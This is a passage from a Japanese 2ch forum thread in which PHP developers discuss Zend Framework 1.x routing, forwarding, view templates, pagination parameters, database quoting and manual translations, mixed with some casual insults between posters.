まず「あなた」自身が何かできることがないか考えて見てください。
887nobodyさん:2010/01/16(土) 20:34:09 ID:SFBSLYpy
example.com/zend_index/の中でZendFrameworkを使用と思っているのですが、
コントローラの中で
$this->view->headLink()->appendStylesheet('/css/index.css');
を指定して、レイアウトでheadLinkを呼び出した際に
example.com/zend_index/css/index.css
が呼ばれるようにするにはどうしたらいいでしょうか?
888nobodyさん:2010/01/16(土) 20:34:56 ID:???
>>882
Base64 エンコードした後の文字列に <や>(の半角)記号が混ざっていると、サニタイズのための処理で除去されて、結果として文字化けしてしまう、という件ですね
mb_strstr 関数の代わりを実装する方法をまだ思いつけないので、この件とまったままになってます。ごめんなさい
889nobodyさん:2010/01/16(土) 20:41:59 ID:???
>>888
うろ覚えのまま書いたのでマチガイました。この件ですね。ただいま保留中。。
http://d.hatena.ne.jp/localdisk/20090621/1245611453
890nobodyさん:2010/01/16(土) 21:33:43 ID:???
>>880
そうだよ、同レベルだよw
しかも俺がザッと見たところ、ZFはまだ関数の説明が文章中たまにされてるし、トピック化されているけれど、CakePHPとSymfonyはそれすらないw
わかりにくいよなw
891nobodyさん:2010/01/16(土) 21:42:23 ID:???
こう書くとまた何か言われそうだけど、APIの日本語訳が欲しいよな・・・
892nobodyさん:2010/01/16(土) 21:54:52 ID:???
>>885
いやスレでの話じゃなくて社内でFWどれ採用するか議論したときの話
未経験者に教えるのに本一冊渡してその通りチュートリアルやってもらうのと
公式ドキュメント見て調べてやってねってのじゃ手間が10倍違うから
893nobodyさん:2010/01/16(土) 22:57:15 ID:???
>>892
本で勉強するのであれば、主な3つのFWのうち、Zendが圧倒的にいいと俺は思うね
Cakeとか全然じゃん
まぁ、そんな難しくないし、マニュアルコンテンツ自体も非常に少ないけどね
ZFは本はしっかりしているが逆にマニュアルは一番内容量が多く、他の2つよりもFW自体濃い
894nobodyさん:2010/01/16(土) 23:00:50 ID:???
何が逆なんだ
895nobodyさん:2010/01/16(土) 23:22:06 ID:???
すみません、addroute()の第一引数の意味が分かりません
ルートの名前とありますが、何を意味しているのでしょうか?
例えば徹底入門に書かれているコードは
$router->addRoute(''article'',
new Zend_Controller_Router_Route('article/:idr', //【A】
array(
'module' => 'default',
'controller' => 'article', //【B】
'action' => 'index',
'id' => 1
)

と書かれています
【A】か【B】の事かと思ったのですが、マニュアルでは
$route = new Zend_Controller_Router_Route(
'author/:username',
array(
'controller' => 'profile',
'action' => 'userinfo'
)
);

$router->addRoute('user', $route);
とあり、userはどれとも一致していません
この第一引数のルート名というのは何を設定し、何の為のものなのでしょうか?

896nobodyさん:2010/01/16(土) 23:35:50 ID:???
ルートって根底って意味だぞ
コントローラでもアクションでもなくてその下の階層
897nobodyさん:2010/01/16(土) 23:54:10 ID:???
>>896
ごめんなさい、せっかくお答えして頂いたのにおっしゃっている意味がわかりませんでした
下の階層とはどういう事でしょうか?
/controller/action/ココ という事でしょうか?
それか最初の例で言えば、ArticleController.phpの中という事でしょうか?
少し混乱してきました(恥)

自分は今も調べていて思ったのですが、例えば2つ目のコードで言えばaddRouterの'user'は任意で決めたもので、それを何かの関数で参照とか出来るのかなとも思ったのですが、そういうような記述もどこにもされていませんでした

'user'は何を意味しているのでしょうか?
どこかのコード内に記述されているのでしょうか?

マニュアルのほかにもこのサイト(http://codezine.jp/article/detail/2226?p=2)などを参照しましたが分かりませんでした
898897:2010/01/17(日) 00:20:59 ID:???
ココ(http://thaliana.myhome.cx/pctips/php_zend_mvc.php)とか見ても、特別addRouter()の第一引数の意味はなさそうな感じなのですが、
やはりこの第一引数のルート名というのは自分で適当に付けた名前で、自分でこういうルートをフロントコントローラ内に追加しましたという確認をする為だけに付けた名前(例えばxmlでいう接頭辞とか)なのでしょうか?
それともやはり意味があって、何かの為に指定したものなのでしょうか?
899nobodyさん:2010/01/17(日) 00:47:56 ID:???
もうなんか日本語めちゃくちゃ
900nobodyさん:2010/01/17(日) 00:49:21 ID:???
addRouterの引数ってRouterだろ
901nobodyさん:2010/01/17(日) 01:34:24 ID:???
>>897
読解不能・・・。
混乱してるのは分かるけど、句読点くらいちゃんと使おうよ。
'user'はユーザ定義のルーティング名。
もう1度マニュアルをよく読むべし。

http://framework.zend.com/manual/ja/zend.controller.router.html
902nobodyさん:2010/01/17(日) 14:55:59 ID:???
プログラミングセンスないな。
転職したほうがいいと思う。
903nobodyさん:2010/01/17(日) 14:58:50 ID:???
マニュアルを読めない新人、地図を渡せない玄人ってとこか。
904897:2010/01/17(日) 16:30:48 ID:???
ごめんなさい。
確かに書いてて自分でも良く分かってはいませんでした(苦笑
自分が分からなかった事を書き直します。

$router->addRoute('news', //【A】
new Zend_Controller_Router_Route('news/:dayr', //【B】
array(
'module' => 'default',
'controller' => 'news',
'action' => 'index',
'day' => date('d'),
),

で、http://localhost/zend/controller2/news/01 のようにアクセスすればNewsController.phpの内容がブラウザに表示されます。
多くのサンプルを見たところ、【A】と【B】の各第一引数のnewsという文字は一致しておりました。
それでこれらは一致させるものだと単純に思っていたところ>>895のマニュアルのサンプルの場合はuserとauthorと、それぞれ異なる文字が書かれていました。
URL自体には【B】の部分に書かれたnewsが必要なのは分かりました。
では【A】の部分のnewsはいったい何を意味しているのだろうと思ったわけです。
この【A】のnewsをfooに変えたとしても、http://localhost/zend/controller2/news/01 のようにアクセスすればNewsController.phpの内容がブラウザに表示されます。
じゃぁこの【A】の部分のnewsは【A】より以下のコードを識別するために自分で勝手に決めただけで、特別意味はないのかなと思ったわけです。
しかし引数で指定した以上なんらかの意味があるんじゃないかと思いましたが、色々なサンプルで【A】の部分の第一引数を何かに使うというような記述もありませんでした。
そういうわけでこのaddRoute()の第一引数は何を意味しているのかなと疑問に思い質問させていただきました。
905nobodyさん:2010/01/17(日) 16:35:48 ID:???
この程度なら、マニュアルよりソース見た方が理解早いわな
897の言ってることも分からなくもないだろ。
addRouteの第一引数はgetRouteやremoveRouteメソッドから察するに
他のRouteと識別するものなんだろうけど
そもそもルーティングは事前に設計されてるもので
設定から読み込まれたRouteを追加したあとで
動的に取得したり削除したりするケースがあるのかってことだろ
906nobodyさん:2010/01/17(日) 17:59:36 ID:kUgFmiiy
>>904
確かにaddRoute()内の $this->_routes[$name] = $route; を
$this->_routes[] = $route; にすりゃ第一引数(識別子)なしにできるんだろうけど、
'default'という名前の Route がデフォルトで定義されている。

で、'default' が気に入らないから消したいって時に、キーとして指定しやすいからって理由だと思う。
907897:2010/01/17(日) 18:34:04 ID:???
>>905-906
返答ありがとうございます
段々まだ曖昧ですが分かってきました
908nobodyさん:2010/01/17(日) 22:04:37 ID:???
んったく、話を聞かないし地図も読めねーのかよ。
909nobodyさん:2010/01/18(月) 08:13:43 ID:???
地図って何だ?
910nobodyさん:2010/01/22(金) 03:59:32 ID:???
ZendFrameworkのMVCの構造を生かしつつ、MySQLをデータベースに使用しているのですが、Modelの設計がよくわかりません。
なにかMVC構造+MySQLの参考になるようなドキュメントなどはありますか?

ぐぐって出てくる解説ページではDBへの接続やDBから取得、追加、削除などもコントローラに書いているようなのですが、
これらは本来Modelに書くべきことなんじゃないかと思っているのですが、ZendFrameworkでは違うのでしょうか?
911nobodyさん:2010/01/22(金) 04:06:00 ID:???
Modelを操作してんでないの?
912nobodyさん:2010/01/22(金) 07:42:22 ID:???
>910
基本的には、モジュールディレクトリにmodelsとmodels/DbTableを作ってそこにモデルを格納するのが基本
サンプルは動作確認を取りやすいからそう書いているだけで、コントローラでDB操作をするのが本筋じゃない。
他のサンプルもそういうもんだと思ってみた方がいいよ。

俺のお気に入り
http://www.slideshare.net/weierophinney/architecting-ajax-applications-with-zend-framework

実際には、ZFでのモデル実装は自由そのものだから好きに書けばいい。
Modelの設計がわからなかったら、エリックのDDDを通読することをお勧めするよ。
913nobodyさん:2010/01/22(金) 15:41:24 ID:???
現在の実行されているアクションがforwardされたかどうか調べるにはどうすればいいですか?
forwardする度にinit内の処理が実行されて困っています。
914nobodyさん:2010/01/22(金) 16:34:48 ID:???
initは必ず実行されるべきコードだけ書くものだろ?
915nobodyさん:2010/01/22(金) 19:16:57 ID:???
>>914
だって、1回だけの実行にしたいだもん
916nobodyさん:2010/01/23(土) 02:02:45 ID:???
馬鹿にはzendは無理。
917nobodyさん:2010/01/23(土) 09:33:41 ID:???
利口な奴は他のFWにいく
918nobodyさん:2010/01/23(土) 10:14:46 ID:???
ZFは規模がでかすぎるしね
一般的な人はCakeとかもっと簡単なFWの方がいいだろうね
それかPEAR使うとか
フロントコントローラだけでも最初「ウッ」ってくるのに、DBだけでも他と比較にならんほどマニュアルの量多いしw
Cakeなんて比較にならんよw
最初、マニュアルの量の多さに読む気が失せたw

だから、>>917の言っている事は一理あるように俺は思う
919nobodyさん:2010/01/23(土) 11:42:16 ID:???
>>916-918
またくだらないけなし合いが始まった
920nobodyさん:2010/01/23(土) 12:12:31 ID:???
>>918
ウッってくるのは初心者だからじゃね?
921nobodyさん:2010/01/23(土) 13:50:15 ID:???
マニュアルを馬鹿正直に全部読もうとするのは初心者だな。
サンプルコードとAPI流し見すればいいだろ
922nobodyさん:2010/01/23(土) 16:21:33 ID:???
Zendの規模がでかいってどういうことだ
小さいアプリを作るのであれば開発者はどのフレームワーク使ってもFWの規模を気にすることなんてないだろ
923nobodyさん:2010/01/23(土) 22:23:26 ID:???
ZF + Smartyの構成で使用しているのだが、
テンプレートをPCと携帯で全部切り替えたいのだが下記のViewRendererを
変更して切り替えることは可能でしょうか。

コントローラには手を加えず、使用するテンプレートフォルダだけ変更したいのです。

$viewRenderer = new Zend_Controller_Action_Helper_ViewRenderer($view);
$viewRenderer->setViewBasePathSpec($config->smarty->params->template_dir)
 ->setViewScriptPathSpec(':controller/:action.:suffix')
 ->setViewScriptPathNoControllerSpec(':controller/:action.:suffix')
 ->setViewSuffix('tpl')
 ->setNoController();
924nobodyさん:2010/01/24(日) 00:06:10 ID:???
無理やり解決(?)しました

やりたくはなかったのですがControllerでRequestに応じて
$viewRenderer->setViewScriptPathSpec(':controller/:action.:suffix')を
書き換えたらすんなり行きました
925nobodyさん:2010/01/24(日) 18:59:59 ID:???
プラグインで切り替えるようにしてもいいだろうけど。
解決したんならいいわ
926nobodyさん:2010/01/24(日) 23:11:27 ID:???
全てのURLの頭に /param1/param2/ が入る場合のRouterの書き方で質問です。

現在は以下のよう全てのルータに :param1/:param2/ を指定していますが、
この共通部分を一つのルータとし、さらにその下にルータをかますような書き方はできますか?
Zend_Controller_Router_Route_Chainがそれっぽいのですが、どうも指定の仕方が悪いようで希望の動作が得られません。

// 現在
$router->addRoute("route1", new Zend_Controller_Router_Route(":param1/:param2/:controller/:action"));
$router->addRoute("route2", new Zend_Controller_Router_Route(":param1/:param2/hoge/:action/:param3"));
$router->addRoute("route3", new Zend_Controller_Router_Route(":param1/:param2/moge/:action/:param3"));



// 共通部分は別ルートに分ける
$baseRouter = $router->addRoute("param", new Zend_Controller_Router_Route(":param1/:param2"));
$baseRouter->addRoute("route1", new Zend_Controller_Router_Route(":controller/:action"));
$baseRouter->addRoute("route2", new Zend_Controller_Router_Route("hoge/:controller/:action"));
$baseRouter->addRoute("route3", new Zend_Controller_Router_Route("moge/:controller/:action"));

よろしくお願いします
927nobodyさん:2010/01/26(火) 10:29:39 ID:???
アレ?
Zendの公式ページ変わった?
今までフロントコントローラだと12章とかあったけど・・・
なんかバージョンの選択も出来るようだし
ってか、1.10になったんか・・・
1.9使ってたけど、次は2.0かなとか期待してたのに・・・
928nobodyさん:2010/01/26(火) 12:19:14 ID:kwuQfEUI
すみません、質問があります

上のリンク先のマニュアルの『変数のデフォルト』の部分(又は『変数の制約』の部分)なんですが、

$route = new Zend_Controller_Router_Route(
  'archive/:year',
 array('year' => 2006)
);
$router->addRoute('archive', $route);

上のルートは 'http://domain.com/archive/2005' および 'http://example.com/archive' のような URL にマッチします。後者の場合、変数 year にはデフォルト値である 2006 が設定されます。

、とありますが、domain.comとexample.comの両方でマッチするのは何故なのでしょうか?
コレは両方ともdomain.comで考えればいいのでしょうか?
それとも、別のベースURIからも参照されていると言うことなのでしょうか?
当マニュアルにはこの『標準のルータ』の章ではそれまで、http://example.comというのは一度も出てきていないのが急に出てきて、どういうことなのかと疑問に思いまして
929nobodyさん:2010/01/26(火) 13:59:11 ID:???
ドキュメントの意図についてはMLとかで直接聞いた方がいいんじゃない?

で、ホスト名のルーティングについてはhostnameルートを使う。
使わない場合はどのホスト名でも一致するのが仕様
930sage:2010/01/29(金) 01:53:29 ID:???
なんで、最新安定版が出たのにみんな盛り上がらないの?
「Zend Framework を学ぶ」ってあるよ。
931nobodyさん:2010/01/29(金) 01:59:15 ID:???
マニュアル随分と詳しくなったね
932nobodyさん:2010/01/29(金) 09:05:45 ID:???
ただし、上にも書かれているけど、何章と出なくなったのはめんどくさいな
仲間に「何章の何項目めを参照」とか言ってたし、それをメモとかに書き込んでいるし
933nobodyさん:2010/01/29(金) 11:00:53 ID:???
>>931
まだ読んでないんだけど、具体的にどんなところが詳しくなったの?
934nobodyさん:2010/01/29(金) 11:01:32 ID:???
読めよw
935nobodyさん:2010/01/29(金) 13:50:18 ID:kJXcpR0Q
Zend_Form_Element_MultiCheckboxでチェックボックス作ったときに、
一番下のチェックボックスをクリックしてオンにすると一番上のチェックボックスも一緒にオンになったり、
二番目のチェックボックスをクリックしてオンにすると一番上のチェックボックスも一緒にオンになったり、
二番目のチェックボックスをクリックしてオフにすると一番上のチェックボックスがオンになったりと、
挙動がおかしいんだけど、この挙動を正常にするにはどうしたらいいですか?
936nobodyさん:2010/01/29(金) 16:32:26 ID:???
>>931
変わったっけ?
俺全然違いが見つけられないんだけど・・・w

ってか、誤植の部分がまだ直ってなかったりしてるな
コードの誤植、日本語の誤植など
937nobodyさん:2010/01/29(金) 21:00:15 ID:???
1.6の頃から比べたら変わったけど去年1.8で作ったときに比べてはそんなに変わってない気もするな
938nobodyさん:2010/01/30(土) 22:49:31 ID:/kADIv2E
ゼンドとCI、どっちが使いやすい?
速さ込みで考察しれ。
939nobodyさん:2010/01/30(土) 23:39:26 ID:p3ZI+mNg
ChIitan かな
940nobodyさん:2010/01/31(日) 10:13:08 ID:???
>>936
気づいたことがあれば、Issue Tracker でレポートよろしく〜
ttp://framework.zend.com/issues/secure/Dashboard.jspa
941nobodyさん:2010/02/01(月) 21:12:18 ID:???
ZendFrameworkでforwardが期待通りの動きをしてくれません。

編集画面(editAction)→検証(validateAction)→エラーの場合編集画面(editAction)という形にしたいんだけど、
editアクションにforwardしてくれません。どうすればいいでしょうか?
942nobodyさん:2010/02/01(月) 21:40:50 ID:???
仕様通りに書く
943nobodyさん:2010/02/01(月) 21:47:05 ID:???
エスパーじゃないからお前がどう書いたらそうなったのかなんて知らん
944nobodyさん:2010/02/01(月) 22:57:43 ID:PP9IaUHC
機内にエスパーの方はいらっしゃいませんかー
945nobodyさん:2010/02/02(火) 00:15:39 ID:???
$this->_forward("edit",null,null,array("id"=>$id));
なぜゆえ、これじゃダメなん?
946nobodyさん:2010/02/02(火) 00:17:38 ID:???
いいんじゃない?
947nobodyさん:2010/02/03(水) 11:13:50 ID:???
馬鹿にはzendは無理。

http://pc11.2ch.net/test/read.cgi/php/1222645553/
【 スクリプト改造依頼スレ】(丸投げ) part7再々
http://pc11.2ch.net/test/read.cgi/php/1068190843/
親切な人が初心者にPHPの関数を使い方を教える
http://pc11.2ch.net/test/read.cgi/php/1209137730/
PHP初心者勉強会やらんかね!
http://pc11.2ch.net/test/read.cgi/php/1172328149/
2ch有志がPHPフレームワークを作るスレ
http://pc11.2ch.net/test/read.cgi/php/1253912143/
【PHP】PHPフレームワーク総合スレ14
948nobodyさん:2010/02/03(水) 13:55:21 ID:???
無限ループしてるんじゃないの?
949nobodyさん:2010/02/04(木) 11:04:17 ID:???
zend_formで複数のフォーム要素を並べることってできる?

tel: □-□-□

↑こんな風に3つ作りたいんだけど
やり方がわからない。
教えてほしい。
950nobodyさん:2010/02/04(木) 11:07:26 ID:???
その3つをDisplayGroupに入れて、DisplayGroupにViewScriptデコレータを適用するとか
951nobodyさん:2010/02/04(木) 13:21:23 ID:???
>>950
ありがとう!
試してみる
952nobodyさん:2010/02/05(金) 22:01:54 ID:uF4U6XQX
zend FWを使っていて、Pearのpagerも併用しているんですがpagerのリンクへの値渡しが上手くいきません。

検索ページでgetでのクエリを実行すると
localhost/search/index?param1=val1¶m2=val2…
のurlで検索結果が返されますが、このパラメータを分解して、
pagerのページリンク(よくある [1][2][3]… ってやつ)には
localhost/search/index/param1/val1/param2/val2…?page=2
という形で渡すようにしました。
が、このリンクを踏んで2ページ目に行っても、正しい2ページ目の内容を返してくれません。
パラメータを全く無視した、「条件なし」の検索結果が返されてしまいます。
※検索クエリ直後の1ページ目の時は正しい結果を返します。
何が原因なんでしょうか?

続きます
953nobodyさん:2010/02/05(金) 22:03:03 ID:uF4U6XQX
続きです

1ページ目、2ページ目の違いとして、
【1ページ目】
URL)http://localhost/search/index?p=&j=&ws[]=1&ws[]=4&wf=1
パラメータのdump)
array(6) { ["controller"]=> string(6) "search" ["action"]=> string(5) "index" ["p"]=> string(0) "" ["j"]=> string(0) "" ["ws"]=> array(2) { [0]=> string(1) "1" [1]=> string(1) "4" } ["wf"]=> string(1) "1" }

【2ページ目】
URL)http://localhost/search/index/p//j//ws/1/ws/4/wf/1/?page=2
パラメータのdump)
array(7) { ["index"]=> string(1) "p" [""]=> string(1) "j" [1]=> string(2) "ws" [4]=> string(2) "wf" ["controller"]=> string(6) "search" ["action"]=> string(5) "index" ["page"]=> string(1) "2" }

パラメータの解析は以下の手順でやっています
 $params = $this->getRequest()->getParams();
 var_dump($params);

また、ルーティングは以下の通りです
;searchアクション
routes.search.route = "/search/*"
routes.search.defaults.controller = "search"
routes.search.defaults.action = "index"
routes.search.type = "Zend_Controller_Router_Route"

どなたか宜しくお願いします。長くなりすみません。
zendFW1.8.1で動かしています
954nobodyさん:2010/02/05(金) 22:42:18 ID:???
Zend_Rest_Clientで質問なのですが、タイムアウトが10秒の固定で
変更が出来なさそうなので困っています。
クラスを派生させてHTTPを叩く周りに手を入れようとも思ったので
すがZendのコードを見ても上手い具合にHTTP周りはprivateやfinal
に守られていて手を出せなさそうです。

もしタイムアウト時間を変更する裏技や、代わりに使えそうなRest
クライアントのライブラリがあれば教えていただけないでしょうか。
海外の学術機関で共同開発するコードで使う必要があるので英語で
ドキュメンテーションされていて継続的にメンテナンスされている
「定番」みたいなライブラリだと大変助かります。

PHP界隈は全くの初心者なので、いわゆる「定番」の類に関しては
殆ど知識がありません。何か良い情報があればよろしくお願いします。
955952,953:2010/02/06(土) 05:29:12 ID:???
自己解決しました
956nobodyさん:2010/02/06(土) 05:37:12 ID:???
どうやって解決したのか書けよせめて
957952,953:2010/02/06(土) 06:25:31 ID:???
>>956
すみません、クダ質すぎて不要な情報かと思ったもので…

indexアクションをデフォルトとしてルーティングで設定してるのに、
検索実行時のurlが/localhost/search/index/var1/val1…となってるのが問題でした
indexがパラメータとして解釈されていました
formのactionを "/search/index" でなく、"/search" にして解決しました
958nobodyさん:2010/02/06(土) 07:00:11 ID:ZjFfb0Vm
すみません、質問です
チェックボックスの値をZF型のURLで表現するにはどうしたらいいんでしょうか?

通常 ?cb[]=val1&cb[]=val2 とするものを
/cb[]/val1/cb[]/val2 としていいものでしょうか?
このURLを前提に、パラメータ解析のプログラムを書いたところエラーになりました

コードは
$params = $this->getRequest()->getParams();
if($params['cb'] || $params['cb[]']){
 if($params['cb'])$hobby = $params['cb'];
 if($params['cb[]'])$hobby = $params['cb[]'];
  foreach($hobby as $value){//ここがエラーの44行目
   if($value == 1){$this->view->cbChk1 = 'checked '; $cbParam.="/cb[]/1";}//該当チェックボックスにチェックし、パスもつくる
   if($value == 2){$this->view->cbChk2 = 'checked '; $cbParam.="/cb[]/2";}
   if($value == 3){$this->view->cbChk3 = 'checked '; $cbParam.="/cb[]/3";}
   if($value == 4){$this->view->cbChk4 = 'checked '; $cbParam.="/cb[]/4";}
  }
}

エラーは
1443 [Fri Feb 05 13:04:09 2010] [error] [client 192.168.0.25] PHP Warning: Invalid argument supplied
for foreach() in /var/www/application/controllers/SearchController.php on line 44
1446 [Fri Feb 05 13:04:09 2010] [error] [client 192.168.0.25] PHP Fatal error: Uncaught exception
'Zend_Controller_Dispatcher_Exception' with message 'Invalid controller specified (error)' in
/usr/lib/php/Zend/Controller/Dispatcher/Standard.php:241\nStack trace:\n#0 /usr/lib/php/Zend/Controller/Front.php(936):
Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http),
Object(Zend_Controller_Response_Http))\n#1 /var/www/html/index.php(32):
Zend_Controller_Front->dispatch()\n#2 {main}\n thrown in /usr/lib/php/Zend/Controller/Dispatcher/Standard..php on line 241
959958:2010/02/06(土) 07:03:08 ID:ZjFfb0Vm
Zend_formは使っていません。
centOS5.3で、zendFWのバージョンは1.8.1です。
よろしくお願いします
960nobodyさん:2010/02/06(土) 07:24:04 ID:???
ZendってよりURLパラメタとPHPをやり直すべきでは
961nobodyさん:2010/02/06(土) 22:40:19 ID:???
http://localhost/hoge/public/

上記のアドレスだとpublicが絡んでしまいます
こんな感じにしたいのですが
http://localhost/hoge/
どうすればいいですか?

助けてください
962nobodyさん:2010/02/06(土) 23:11:47 ID:RDyP93EJ
apacheオススメだよ
963nobodyさん:2010/02/06(土) 23:24:37 ID:???
え?index()じゃだめなの?
964nobodyさん:2010/02/07(日) 15:39:11 ID:???
馬鹿にはウェブは無理。HTML描きに戻るしか。
965nobodyさん:2010/02/07(日) 15:50:17 ID:cHUvBtME
基本的な質問でもうしわけないのですが、
下記のようなinsert文の登録値をエスケープする方法がわかりません。

 insert into XXXX(id,name,date)value(1,'aaaa','bbbb'),(2,'aaaa','bbbb'),(3,'aaaa','bbbb')


これではエラーになってしまいました・・・
$data = $db->quote("insert into XXXX(id,name,date)value(1, ?, ?)", array('aaaa','bbbb'));
$db->query($data);


すみませんが、お分かりになられる方がおられましたらご教授お願いします。

966nobodyさん:2010/02/07(日) 15:56:14 ID:???
質問する前にエラー文読めよ
967nobodyさん:2010/02/07(日) 16:01:26 ID:???
もしかして、quoteする意味、わかってないよね?
悪いこと言わないから、自分が何をわかってないか整理して
適切な場所で聞いた方がいいと思うな。

まぁ、一応ヒントだしとくと、$dataをechoすればわかることだと思うけど。
968966:2010/02/07(日) 16:23:28 ID:???
一応ヒントだしとくと、ZF関係ないと思う
969nobodyさん:2010/02/07(日) 16:28:27 ID:???
それヒントじゃなくてズバリ
970nobodyさん:2010/02/07(日) 16:40:12 ID:cHUvBtME
自己解決しました。
知りたかったことはzendのquoteメソッドの書式です。
説明の為に固定値で書きましたが、
'aaaa'や'bbbb'の部分はフォームの入力値が入ります。
PHPの関数でエスケープしてもよかったのですが、
zend使ってるシステムだったのでzendに統一したかったのです。

エラーメッセージは既に本番稼動しているシステムのため、
(php.iniの設定で)非表示にされており、確認できない状態です。
本番稼動中のためhtaccessでの設定上書きも好ましくないです。

971nobodyさん:2010/02/07(日) 18:21:21 ID:???
>>970
どういうふうに解決したの?
それから、本番環境でもエラーはキャッチしとかないとダメなんじゃないの?
原因特定できないよ。
で、再現するために無駄な時間を費やすと。
972nobodyさん:2010/02/07(日) 19:05:16 ID:???
>>970
queryとquoteを誤用してるソースが本番にあるわけがないよね

プライドが高すぎて、できないのかもしれないけど、
基礎を勉強したり、ドキュメントに目を通したり、
エラーメッセージを読んだり、そういうことをちゃんとやったほうがいい。

質問するときに、エラーメッセージを書かないとか、省略するとかそれもありえない。
他所でも同じ間違いをすることになりますよ。
973nobodyさん:2010/02/07(日) 19:56:52 ID:???
ああmagic quartと勘違いしてるのか
なんでphp.iniとか言ってるのかと思った
974nobodyさん:2010/02/07(日) 19:57:49 ID:???
Atokの変換使ったら違う単語出てきた
quoteね
975nobodyさん:2010/02/07(日) 20:14:08 ID:???
ちげーよ
SQLに入れるデータをエスケープするのにZend_Dbのquoteを使おうとおもったけど、
ドキュメント読み間違えてZend_Db::queryの用法と勘違いしたって落ちだろ
976nobodyさん:2010/02/08(月) 11:31:42 ID:???
ZF1.10で何か追加された機能ってある?
977nobodyさん:2010/02/08(月) 12:18:13 ID:???
MVCってめんどくさく思えるんだけど、やっぱYahoo!とか大手サイトなんかはZFのような提供されているフレームワークではなく、独自に開発したMVC構造なんか使ってるんですかね?
978nobodyさん:2010/02/08(月) 12:18:58 ID:???
>>976
Zend_Barcode_Hage
979nobodyさん:2010/02/08(月) 14:26:39 ID:???
>>978
おおっ、マジですか?
新しい機能が追加されたんですね
それは使えそうな機能ですね
楽しみです








・・・ハイハイ
980nobodyさん:2010/02/08(月) 22:43:57 ID:HuDyW4AI
zendFrameworkを使って、管理画面(フォームの入力画面)を作りたいと思います。
今まではPHPでスクラッチで 入力画面・確認画面・修正画面・登録画面を別々に作ってたんですが、
zendFWを使うにあたって、どんな構造にしたら効率的かご意見お願いします。

なるべくテンプレートファイルやアクションを少なくすることをテーマにして
自分で考えたのは以下の処理なんですが、おかしいでしょうか?

class TestController extends Zend_Controller_Action(){
/*以下がフォームの画面*/
public function testformAction(){
//最初に入力モードの確認
・モードが入力・修正の場合、フォームのテンプレートを共通で読み込む。
 ただし、入力モードのときは、前回登録済みデータの確認と取得→表示
 修正モードの時はセッションで確認画面から持ち込んだデータを取得→表示
・モードが確認の場合、確認用のテンプレートを読み込む、各バリデータ処理
・モードが登録の場合、登録処理
 処理が正常にすんだら、succeedActionにフォワード、失敗したらerrActionへ
 
}

succeedAction(){
//各アクション登録成功時の共通画面出力「○○情報を登録しました」
}
errAction(){
//各アクション登録成功時の共通画面出力「○○情報の登録失敗しました」
}

}
981980:2010/02/08(月) 22:45:41 ID:HuDyW4AI
【つづき】
いろんなサイトで調べてもZendFormの使い方なんかはあるんですが
一連の流れの解説が見当たらなかったので、自分の考えでいいのか不安です。
もっと効率的なやり方や、別の方法で実用されている方がいたら、ご意見もらえると助かります。
よろしくお願いします。

また、zendFormを使おうとは考えていないんですが、zendFormを使うことで
上記の処理の構造面でも効率化できたりするものでしょうか?
982nobodyさん:2010/02/08(月) 22:50:53 ID:???
なんでアクションやテンプレート数を減らす必要があるの?
別に減らす必要なくね?
983nobodyさん:2010/02/08(月) 22:54:12 ID:???
まずは今までの別々をそのままzendにしたほうがいいだろうね。
その次で、目標のテーマに再編。一気に遣ろうとすると失敗すると思う。ひとつづつ段階踏んで確実に。
あるいは先に目標のテーマにまとめておいて、次にzendにする。


生め。
984980:2010/02/08(月) 23:02:20 ID:HuDyW4AI
>>982-983
ありがとうございます
アクションを減らさなくてもいいということは
form1inputAction, form1confirmAction, form1rewriteAction, form1queryAction などと
処理ごとに別のアクションを持たせて明確に分けたほうがいいってことでしょうか?

自分としてはこの構造だと見やすい・わかりやすいっていうすごいメリットがある反面
登録フォームの数が増えたら フォームの数*4の膨大なactionができるので、コントローラ全体と
して見れば煩雑にならないかなぁって思うのですが。(慣れれば良いことだとは思いますが…)

>>982-983さんはこんな感じでやっていますか?
回答いただいて本当に感謝します。
985nobodyさん:2010/02/09(火) 06:06:11 ID:???
増えた時点でまとめていけば?
増えてみないと仕様が固まらないだろうし。
986nobodyさん:2010/02/09(火) 10:56:12 ID:???
>>985
わかりました、とりあえず一つ作って様子見てみます
ありがとうございました
987nobodyさん:2010/02/09(火) 14:39:28 ID:???
俺、あんま英語できないんで、ValidateとかView_Helperなんかの未だ和訳されていない部分の日本語化を誰か偉い人、お願いします
988nobodyさん:2010/02/09(火) 14:59:47 ID:???
言いだしっぺの法則
989nobodyさん:2010/02/09(火) 16:37:05 ID:???
>>988
めちゃくちゃな和訳でいいなら俺がやってもいいけど?
多分嘘書きまくるよ?
990nobodyさん:2010/02/09(火) 16:44:42 ID:???
ok
991nobodyさん:2010/02/09(火) 17:08:51 ID:???
頼んだ。
違うとこがあれば誰かが突っ込めばいいし、日本語の叩き台があるだけでも断然とっつき易いはず。
992nobodyさん:2010/02/09(火) 17:11:28 ID:???
本買えばいいじゃん
993nobodyさん:2010/02/09(火) 17:19:24 ID:???
よぉ〜し、分かった!
俺やっちゃるけんね!!


>>992
いや、本に載ってるような基本的な部分は和訳あるんだけど、ある程度専門的(?)な部分はないんだよね
上記したように、Validateの部分(http://framework.zend.com/manual/ja/zend.validate.set.html)とか
994nobodyさん:2010/02/09(火) 20:03:59 ID:???
プログラマならソース追った方が早いだろ
995nobodyさん:2010/02/09(火) 20:15:06 ID:???
>>994
他人が書いたコードなんか読みたくねえんだよ!
996nobodyさん:2010/02/09(火) 20:45:28 ID:???
>>995
でも他人が書いたコードは使うんだよな。ふーん。
997nobodyさん:2010/02/09(火) 22:15:32 ID:???
自動車を運転するが中身はいじれないのと同じだコラ!
998nobodyさん:2010/02/09(火) 22:23:39 ID:???
次スレ Zend Framework Part4
http://pc11.2ch.net/test/read.cgi/php/1265721684

>>993
次スレの1に掲載の翻訳状況参考に頑張って(^^)/
999nobodyさん:2010/02/09(火) 22:29:27 ID:???
>>997
自動車学校である程度習うから知らない方が問題
1000nobodyさん:2010/02/10(水) 05:37:52 ID:uj21c1TP
1000ならperlの大勝利
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。